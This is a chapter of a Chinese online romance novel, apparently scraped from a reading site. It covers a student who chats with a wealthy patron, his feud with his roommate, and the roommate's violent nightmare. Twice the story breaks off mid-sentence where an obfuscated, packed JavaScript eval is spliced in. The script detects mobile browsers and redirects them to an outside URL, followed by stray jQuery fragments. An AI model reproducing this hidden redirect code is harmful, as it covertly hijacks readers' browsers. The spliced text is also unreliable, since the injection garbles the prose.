请假好啊,郁朝希一点也不想看见那个流氓。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538483|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 上完课郁朝希坐公交去吃小龙虾。 他的金主好像失踪了,一整天都没回他一条消息。 郁朝希非常担心。 ——三月风:哥哥是在忙工作吗?怎么不回我消息,好担心…… ——三月风:有空了一定要回我一条[黄豆大哭],我真的很担心…… ——三月风:转账10000[已被退还] 龙虾上来了,郁朝希快速打完剩下的字,给金主发了过去。 他戴上一次性手套,开始享用美味。 又是幸福的一天~ - 祁莘时头痛欲裂。 他拧着眉睁开眼,天已经黑了,房间里安静得落针可闻。 他扭头看向窗外—— 视野开阔,一览无余。 祁莘时看了一会儿,突然觉得很无聊。 他起身去找烟和打火机。 嚓—— 烟吸进口腔时,祁莘时有种空荡的飘然。 火星忽明忽暗,不消片刻,祁莘时又点了一根。 他喜欢这种辛辣的灼烧感。 不一会儿,烟盒就见了底。 祁莘时站在落地窗前眺望远方,景色不错,但看得多了就只剩下乏味。 他转身去找酒,酒液入口的瞬间,他又觉得哪里不对。 祁莘时放下酒瓶,想到什么似的走出房间。 他来到玄关,打开手机。 另一个VX有很多未读消息,想也不用想就知道是谁发来的。 祁莘时看着满屏的“哥哥”、“哥哥”,冷笑了声。 ——X:在干什么? 失踪人口终于回归,正在宿舍做钩织的郁朝希马上回消息: ——三月风:在钩玫瑰花束呢 ——三月风:图片 ——三月风:快钩好啦 ——三月风:哥哥下班了吗?好辛苦…… ——X:嗯,刚下班 ——X:想看钩织过程,方便开视频吗? ——X:声音可以关掉 郁朝希看了眼自己放满零食的桌子,犹豫了。 ——X:不方便就算了 怎么又是这句话?郁朝希都快产生阴影了。 看钩织过程的话,后置摄像头就可以,还能关声音…… 这可是金主啊,虽然祁莘时给他转了一大笔钱,但这份工作他也不想丢。 ——三月风:当然可以啦,不过我的桌子很乱,要整理一下,哥哥要等一会儿哦~ 发送完消息,郁朝希开始转移他的零食。 为了方便收纳,他专门买了几个小框装,转移起来非常迅速。 他刚拿起两个框就想到,他可以去刘佑齐的桌子上开视频啊,还费劲搬来搬去的干什么? 不过桌面要伪装一下。 郁朝希拿出自己的床单铺了上去。 铺完后他深吸一口气,把摄像头转成后置,关掉声音,给金主打去视频电话。 视频很快就被接通了,郁朝希对着摄像头挥了挥手,拿起玫瑰花束和钩好的男孩展示一番。 随后,他开始收尾。 对面黑漆漆的一片,郁朝希打字问怎么不开灯。 金主回他停电了。 郁朝希关心了一下金主的晚饭,以及电路维修的问题。 一整天都没吃什么东西,祁莘时突然有点饿了。 ——X:晚饭还没吃,不知道吃什么 郁朝希心想,这八成是想让他给点意见。 他要推荐一款符合人设的食物。 ——三月风:我晚上吃的炒粉,不过这个有点油腻,哥哥可以吃馄饨 祁莘时下单了一份馄饨。 加急的外卖送得很快,祁莘时提前打开了灯,他不想摸黑吃东西。 对面亮起来的光吸引了郁朝希的注意,他凑着头去看手机屏幕,发现金主的家好像很大。 金主打开门,接过外卖员手里的…… 一个方形手提、不知道什么材质的食盒。 金主打开食盒—— 郁朝希这时看到了金主的手,手指很修长,从皮肤的状态可以看出,他的金主很年轻。 金主把食盒里的东西一一拿出来。 郁朝希第一次见这种外卖,竟然还送了瓷碗和瓷勺。 他凑得更近,发现馄饨很大颗,皮是透明的,馅里好像还放了虾。 祁莘时瞄了眼手机,发现对面做钩织的那双手不动了。 祁莘时:…… 17. 噩梦 祁莘时舀起一个送进嘴里。 味觉被酒精麻痹,他尝不出多少味道。 祁莘时把手机挪了下,不再对着碗。 屏幕里的那双手开始慢吞吞地钩东西。 指甲修剪得干净整齐,祁莘时一眼没看见,郁朝希已经把两朵红色的玫瑰粘在了花束上。 不多时,一捧看起来还不错的钩织花束做完了。 郁朝希在摄像头前全方位展示了一番,又拿出之前钩好的小男孩。 ——三月风:图片 ——三月风:哥哥喜欢这个吗?我想再钩几个~ 祁莘时返回聊天页面,看到郁朝希发来一张红伞柄的胖蘑菇。 他敲了个“嗯”发过去。 对面的郁朝希拿出红色毛线,开始钩伞柄。 他的动作非常熟练,连贯流畅的插针绕线莫名很下饭。 祁莘时一边看他钩东西,一边硬塞了几颗馄饨。 他盯着那双手走了神,几分钟后,祁莘时点开聊天记录看了两遍。 ——X:你和你的舍友怎么样了?矛盾解决了吗? 郁朝希专心致志地钩蘑菇,没看到金主给他发消息。 祁莘时等得心焦。 约莫五六分钟后,郁朝希才看到。 他放下蘑菇,手指敲在屏幕上发出“哒哒”的声音。 这“哒哒”声持续了有一分钟。 祁莘时收到了一篇小作文。 ——三月风:没有解决!我想搬走,但是只有一个宿舍有空床,那个房间太脏太乱,我还在考虑。重点是我的那个室友太过分了!我真的受不了他了!某人很心虚,今天都没回宿舍,哼,他也知道自己有多过分! 祁莘时沉默了。 ——X:那还搬吗? ——三月风:那个房间的卫生条件很差,舍友的卫生习惯也很糟糕,我还在考虑…… ——三月风:可能不会搬吧,如果他一直不回来的话 ——三月风:他家是本地的,家里很有钱,竟然还会住宿舍,真是令人费解。 郁朝希扭头看了眼祁莘时的书桌,他的目光慢慢落在那把人体工学椅上。 鬼使神差的,郁朝希起身坐了上去。 超出预期的舒适。 郁朝希能猜到坐感一定不错,但没想到会舒服到这种地步。 椅背十分贴合人体的曲线,腰部像是被一双手轻轻托起。 反正祁莘时也不在,坐坐他的椅子也没什么的吧。 郁朝希心安理得地把椅子拉了过来。 ——X:卫生状况确实也要考虑 ——三月风:是啊,所以我还没想好 ——X:不过室友之间有冲突,也算正常 ——三月风:没人能和他友好相处,他的缺点太多了,多到两箩筐都装不完 祁莘时:…… ——三月风:反正我不喜欢他 ——三月风:我们之间的友谊已经碎成了渣渣,没有挽回的地步! 郁朝希怒发了好几条消息后,突然反应过来,自己这样对金主大倒苦水是不是不太好。 的确不太好…… 于是,他立刻化身为贴心伴侣: ——三月风:哥哥,我和你说这些是不是很影响你的心情啊 ——三月风:我不是故意的,是他太过分了,而且,我也没有其他的朋友可以倾诉[黄豆大哭] ——三月风:哥哥上班就已经很辛苦了,还要听我发牢骚,哥哥真是个好人 ——三月风:我以后不会再说了…… 祁莘时面无表情地扫过郁朝希发来的消息,打字:没事,你可以和我说。 郁朝希又感动了,他没想过天上掉馅饼竟然也会砸到他。 就随随便便撒了个网,找到的金主不仅多金,还善解人意。 ——三月风:哥哥你人真好,要是我们两个人生活在一起的话,一定不会闹矛盾的[星星眼][星星眼][星星眼] 祁莘时:…… 他又看郁朝希钩了会蘑菇。 十点钟,这个笨蛋说要去洗澡,洗完后上床睡觉,还问他自己这样是不是不太好,又说不能陪他聊天很伤心。 祁莘时:…… 还真是为了钱什么都能说出来…… ——X:没事,你早点休息,明天还要上课 ——三月风:哥哥你人太好了,拜拜[爱心][爱心][爱心] 作为一个具有良好道德的捞子,郁朝希都是等金主先挂视频电话的。 等对面挂断后,他仔细确认了两遍,随后起身把椅子还给祁莘时,拿起毛线和床单回到自己桌前。 路过祁莘时的桌子时,郁朝希突觉垃圾桶里的东西很眼熟。 他不可置信地靠近,发现里面是两张购物卡。 祁莘时这个大少爷,竟然把两张价值将近一万块的购物卡丢进了垃圾桶! 郁朝希真是开眼了。 他踌躇着,脚步已然挪不开。 都怪自己太勤俭节约,不能看到别人有浪费的行为。 八千多的卡…… 如果郁朝希没记错,明天中午阿姨会来打扫房间,到时候会把垃圾打包带走,扔进楼下的垃圾桶里。 这真是太浪费了…… 郁朝希不受控住地把手伸了出去。 反正都是要扔掉的,这已经是祁莘时不要的东西了。 他把两张购物卡拿了出来,去卫生间冲了下水,擦干后放进自己的卡包里。 这和捡钱有什么区别? 郁朝希哼着歌去洗澡了。 久违地住上了单间,郁朝希的心情格外舒畅。 他按时十点半上床休息,翌日六点二十起床。 新的一天,他依旧没见到祁莘时。 - 在挂了和郁朝希的视频电话后,祁莘时去泡澡了。 听说泡澡有利于睡眠。 但对他来说似乎失效了。 所以他只能去灌酒。 意料之中的,酒精带来的效果很好。 他很快入睡…… 一张圆脸在他面前一晃而过,又晃了一下,圆脸又回来了。 眼睛也睁得有些圆,正时不时瞥他一眼。 不过不怎么高兴的样子。 祁莘时莫名其妙地拿出手机,莫名其妙地给圆脸转了钱。 圆脸欣喜地抱着手机,眼睛一眨不眨地盯着屏幕。 祁莘时靠近了些,圆脸没什么反应,依旧沉浸在金钱入账的快乐中。 他伸出手,在圆脸的脸颊上蹭了两下。 圆脸无动于衷,因为刚刚的转账,所以他可以摸他的脸。 祁莘时弯下腰,两人之间的距离再一次被拉近—— 他的鼻子贴到了柔软的面颊上。 圆脸突然后退了两步。 骤然拉远的距离令祁莘时感到不悦。 他重复之前的动作,又给圆脸转了钱。 圆脸乖乖地站了回来。 起先是鼻尖,而后是嘴唇,祁莘时注意到,圆脸的视线一直定格在屏幕上。 他轻吻了两下,突然把软肉咬进嘴里。 祁莘时听到了哭声—— 一种使他厌烦又心动加速的哭声…… 他松开口,一把按住又要逃跑的圆脸。 “别哭了。” 他再次转账。 可哭声没有停歇。 祁莘时看到大颗大颗的泪水从圆脸的眼睛里滚落,不一会儿整张脸都被他哭湿。 他用手指擦了擦。 手指也被弄湿。 祁莘时轻托起圆脸的下巴,凑近了用舌头舔了一下。 眼泪是咸的,带有圆脸的一点体温。 祁莘时不想再听到他的哭声,所以开始不停地转账。 祁莘时滑动着屏幕,他说:“不是已经给你转钱了吗?别哭了……” 他用手帕擦去泪水,“你一直哭,会看不清,很多钱,你不是最喜欢钱吗?” “够吗?” 祁莘时不停地滑动着,转账记录好像没有尽头。 “够吗?” “……够我对你做点其他事吗?” 圆脸抬起了头,金钱是他最好的止泪剂,现在他的眼睛里只有一点水光。 “什么啊?”他问。 一副很懵懂的样子。 祁莘时说:“上床……” 圆脸的眼神开始闪躲,“可是我有男朋友了……” 他打开手机,把和X聊天记录怼到祁莘时面前。 “你看,这就是我的男朋友。” 祁莘时瞄了一眼上方的备注——善解人意的有钱男朋友。 他说:“这个人是我。” 圆脸脸上的笑戛然而止,祁莘时看到他上扬的嘴角慢慢拉平。 “不可能。” 他的语气是如此的笃定。 “这绝对不可能,我的男朋友人很好的,”圆脸看了一眼他,话音直转而下,“而你呢,你的脾气那么坏,怎么可能会是一个人。” “你不仅脾气坏,人也非常不好相处,总是,你才不是我的男朋友。” 圆脸晃了晃手机:“看吧,这个才是我的男朋友,他人很好的……” “他人很好的,你才不是他……” “他人很好的,你才不是他……” “他人很好的,你才不是他……” 砰—— 圆脸的手机被他摔在了地上。 祁莘时道:“我说了,我就是他。” 圆脸被吓得花容失色,却还在嘴硬:“不是不是……” 他握住那截薄薄的肩头,“我说是。” 圆脸低眉顺眼,依旧在顶嘴:“才不是……” 祁莘时死死抓着他,圆脸大叫了一声:“痛死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538484|203893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我了!” “那就疼……” “我才不在乎……” 圆脸低头咬住了他的手。 鲜血很快从伤口处流了出来。 祁莘时没有反抗,他一动不动,直到圆脸良心发现,自己松开了嘴。 他一把捏住圆脸的下巴,迫使他打开口腔。 血液顺着掌心往下流,一滴一滴地全落进了圆脸的嘴里。 “好喝吗?”祁莘时问。 泪水从圆脸的眼角处流了出来,他视若无睹。 “好喝吗?我在问你。” 圆脸含糊地回答:“好喝……” 祁莘时对这个答案说不上满意。 “除了哭,你还会干什么?” “真以为他是什么好人吗?” 圆脸反驳道:“……他就是好人。” 祁莘时感觉到胃在烧,不,是全身的血液都在烧,他低头吻住圆脸的嘴唇。 血腥味蔓延开来。 他的手握在圆脸的脖子上,嘴唇分开的瞬间,他说:“不好好说话,我就掐死你。” 圆脸打了个哆嗦。 祁莘时问他:“听到了吗?” 圆脸怯怯地点了点头。 他松开了圆脸。 转身的刹那,圆脸从他身边跑了出去。 祁莘时站在原地没动。 他等了几秒钟,这几秒钟漫长到令他更加焦躁。 他很快就追了上去。 圆脸跑得很慢,他一边下楼梯,一边回头张望。 祁莘时毫不费力地就能抓到他。 在祁莘时即将一把拽住圆脸的后衣领时,他突然身体一坠,从楼梯上滚了下去。 楼梯很长,是祁莘时没见过的曲折。 在滚落的过程中,他没听到圆脸发出任何声音。 圆脸躺在楼梯下,他一动不动。 祁莘时看到有血从他身体下流出来。 迅速将他整个人笼罩在一片血红之上。 祁莘时扑了上去。 他闻到了浓重的血腥味,他翻开圆脸。 祁莘时把手放在圆脸的脖颈上,他感受不到任何跳动—— 祁莘时突然惊坐起身。 胸口在剧烈地上下起伏着,他大口吸进空气。 他感觉到一种可怖的窒息。 噩梦…… 杀了人的梦,应该是个噩梦。 他的反应—— 完全符合做噩梦的反应。 所以没什么好奇怪的。 上衣的后襟湿透了,祁莘时起身去冲澡。 他的体温很高,梦里的血液沸腾被带到了现实。 祁莘时冲了个凉水澡。 他的体温短暂恢复正常。 祁莘时靠在床头,现在是凌晨十二点二十。 做了这样一个漫长而无趣的梦,竟然才刚凌晨十二点多。 - “什么毛病,还真跟我来上课了?” 宋寒成一头雾水,搞不清祁莘时这是玩的哪出。 祁莘时说:“计算机专业的课太无聊。” “我的天,我这课更无聊好不好?”宋寒成用肩膀撞了撞祁莘时,“昨天晚上干什么去了,看看这黑眼圈,一晚上都没怎么睡吧。” “打游戏,刚开发出来的内测版。” “再扯谎?我可没见你……” “好了打住……”祁莘时本来就脑子疼,现在一听宋寒成说话,耳边直嗡嗡作响。 宋寒成闭嘴了,几分钟后又说:“要不你趴下睡会儿?教室最助眠了。” “嗯,知道了。” 祁莘时打开手机,看到了来自郁朝希的问候,他刚想回点什么,就见宋寒成突然凑了过来。 祁莘时下意识地把手机一收。 “哎!不够意思啊祁莘时,你是不是谈恋爱了?” “没有……” “我可还记得,之前有人说过,有人缠他缠得紧,他很烦来着……” 宋寒成想到什么,不确定地问:“你不会是在网恋吧,我听汪远义那货说,你找他要了个V号,还盯着那张丑照片一直看……” “我艹,祁莘时,你不会有恋丑癖吧。” “闭嘴,吵死了。” 祁莘时把手机放回口袋,趴在桌子上逃避。 宋寒成不可置信,晃了晃他:“我的妈,不是吧祁莘时,你是不是脑子出问题了,我听汪远义说了,那妞丑得能吓死人,还说什么八成是男人扮的……” “不对,哎男人,你不就喜欢男的吗?难道你透过那人的丑脸,看到了什么优秀的品质,但不至于啊,一张照片还能看出这种东西?” 祁莘时的太阳穴传来阵阵刺痛,他用指腹用力按了按。 自己到底为什么要跟着宋寒成来上课? ……是因为不想一个人待着。 但他现在改变主意了……